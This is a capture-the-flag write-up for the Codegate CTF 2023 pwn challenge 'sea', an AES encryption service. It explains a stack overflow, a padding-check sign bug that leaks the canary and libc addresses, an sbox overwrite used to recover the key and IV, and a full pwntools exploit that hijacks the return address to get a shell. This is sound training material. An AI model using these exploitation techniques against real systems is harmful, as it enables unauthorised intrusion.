sea

by nobodyisnobody_ / Water Paddler

Tags: pwn

Rating:

Sea

was a pwn challenge from Codegate CTF 2023 (the big drama CTF)

it was an interesting challenge, the only one I worked on, as I was a bit busy this week-end.

The program permits us to encrypt and decrypt data, with aes encryption. (sea -> aes). It uses a random key read from `/dev/urandom` that is changed after each decryption, but not after encryption. So we can encrypt many times with the same key.

Various vulns we found (and exploited)

1- we saw the buffer overflow in encrypt function, the input hex data's size is not verified before being copied to a fixed size buffer on stack

2- in the function `sub_15A1()` that verify padding in the decrypt function, the padding size is sometimes use as a `signed char`, or an `unsigned char`, so we found that by removing original padding of an encrypted message, and replacing it by a `signed char` 0x80 (the message has to be full of 0x80 to verify padding), we can leak 0x80 bytes after stack buffer, and leak canary, exe and libc addresses.

3- we saw that in the function `sub_1470()` that read hex data to `.bss`, we can read up to 0x800 bytes in a buffer that is only 0x100 bytes big, and overwrite the sboxes in `.bss`. This is usable in decrypt function, as the function early exits when the passed hex data are longer than 256bytes, but still write them on the `.bss`

4 - we saw that by overwriting the sboxes in `.bss` with zeroes, and encrypting a message full of zeroes, the random aes key can be leaked easily, and by restoring the sboxes after, we can calculate the `iv` too

5 - once we have `iv` and `key` we forge a payload that will overwrite return address with a onegadget in encrypt function. We decrypt this payload with the known aes key and iv. And we encrypt to overwrite our payload. And we got shell.

here is my exploit for that:

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from Crypto.Cipher import AES

context.update(arch="amd64", os="linux")
context.log_level = 'info'

# change -l0 to -l1 for more gadgets
def one_gadget(filename, base_addr=0):
  return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l0', filenam
e]).decode().split(' ')]

# shortcuts
def logbase(): log.info("libc base = %#x" % libc.address)
def logleak(name, val):  log.info(name+" = %#x" % val)
```

```
def sa(delim,data): return p.sendafter(delim,data)
def sla(delim,line): return p.sendlineafter(delim,line)
def sl(line): return p.sendline(line)
def rcu(d1, d2=0):
  p.recvuntil(d1, drop=True)
  # return data between d1 and d2
  if (d2):
    return p.recvuntil(d2,drop=True)

exe = ELF('./sea_patched')
libc = ELF('./libc.so.6')

if args.REMOTE:
  host, port = "54.180.128.138", "45510"
else:
  host, port = "127.0.0.1", 45510

p = remote(host,port)

sboxes = b'000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000001000000000000000000000000000000000000000000000000000008d01020408102040801b36000000000
000000000000000000000000000000052096ad53036a538bf40a39e81f3d7fb7ce339829b2fff87348e4344c4dee9cb547b94
32a6c2233dee4c950b42fac34e082ea16628d924b2765ba2496d8bd12572f8f66486689816d4a45ccc5d65b6926c704850fdedb
9da5e154657a78d9d8490d8ab008cbcd30af7e45805b8b34506d02c1e8fca3f0f02c1afbd0301138a6b3a9111414f67dcea97f2
cfcef0b4e67396ac7422e7ad3585e2f937e81c75df6e47f11a711d29c5896fb7620eaa18be1bfc563e4bc6d279209adbc0fe78c
d5af41fdda8338807c731b11210592780ec5f60517fa919b54a0d2de57a9f93c99cefa0e03b4dae2af5b0c8ebbb3c8353996117
2b047eba77d626e169146355210c7d637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0b7fd93263
63ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b27509832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b
6acbbe394a4c58cfd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2cd0c13ec5f974417c4a77e3
d645d197360814fdc222a908846eeb814de5e0bdbe0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae
08ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9ee1f8981169d98e949b1e87e9ce5528df8ca18
90dbfe6426841992d0fb054bb1601'

payload = b'80'*0xe0
sla('> ', '1')
sla(': ', payload)

cypher = rcu(': ','\n')
print(b'cypher = '+cypher)

payload = cypher[0:448]
sla('> ', '2')
sla(': ', payload)

decrypted = unhex(rcu('plaintext: ', '\n'))
print('\n'+hexdump(decrypted))
# get canary leak
canary = u64(decrypted[0x100:0x108])
logleak('canary', canary)
# get prog base leak
exe.address = u64(decrypted[0xf8:0x100]) - 0x4820
logleak('prog base', exe.address)
# get libc base
libc.address = u64(decrypted[0xe8:0xf0]) - libc.sym['_IO_2_1_stdout_']
logbase()

# zeroes sboxes
sla('> ', '2')
sla(': ', b'00'*833)
```

```
# encrypt 32 bytes of zeroes
payload = b'00'*32
sla('> ', '1')
sla(': ', payload)

# get back encrypted result
cypher = rcu(': ','\n')
print(b'cypher = '+cypher)
cypher = unhex(cypher)

# extract key from encrypted
key = cypher[0:8]+ xor(cypher[0:8], cypher[8:16])
print('key:\n'+hexdump(key))

# restore sboxes
sla('> ', '2')
sla(': ', sboxes)

payload = b'00'*32
sla('> ', '1')
sla(': ', payload)
# get back encrypted result
cypher = rcu(': ','\n')

### Get IV
cipher = AES.new(key, AES.MODE_ECB)
iv = cipher.decrypt(unhex(cypher)[:16])
print('iv:\n'+hexdump(iv))

onegadgets = one_gadget('libc.so.6', libc.address)

# out payload, will overwrite return address with a onegadget address
payload = b'A'*0xf0+p64(canary)+p64(0xdeadbeef)*3+p64(onegadgets[1])+p64(0xdeadbeef)

cipher = AES.new(key, AES.MODE_CBC, iv=iv)
decrypted = cipher.decrypt( payload)

sla('> ', '1')
sla(': ', enhex(decrypted))

p.interactive()
```

and that's all, no more drama... shhh peacefull..(https://www.youtube.com/watch?v=1yeEZ-bx63c)

Original writeup (https://github.com/nobodyisnobody/write-ups/tree/main/Codegate.CTF.2023.quals/pwn/sea).

Comments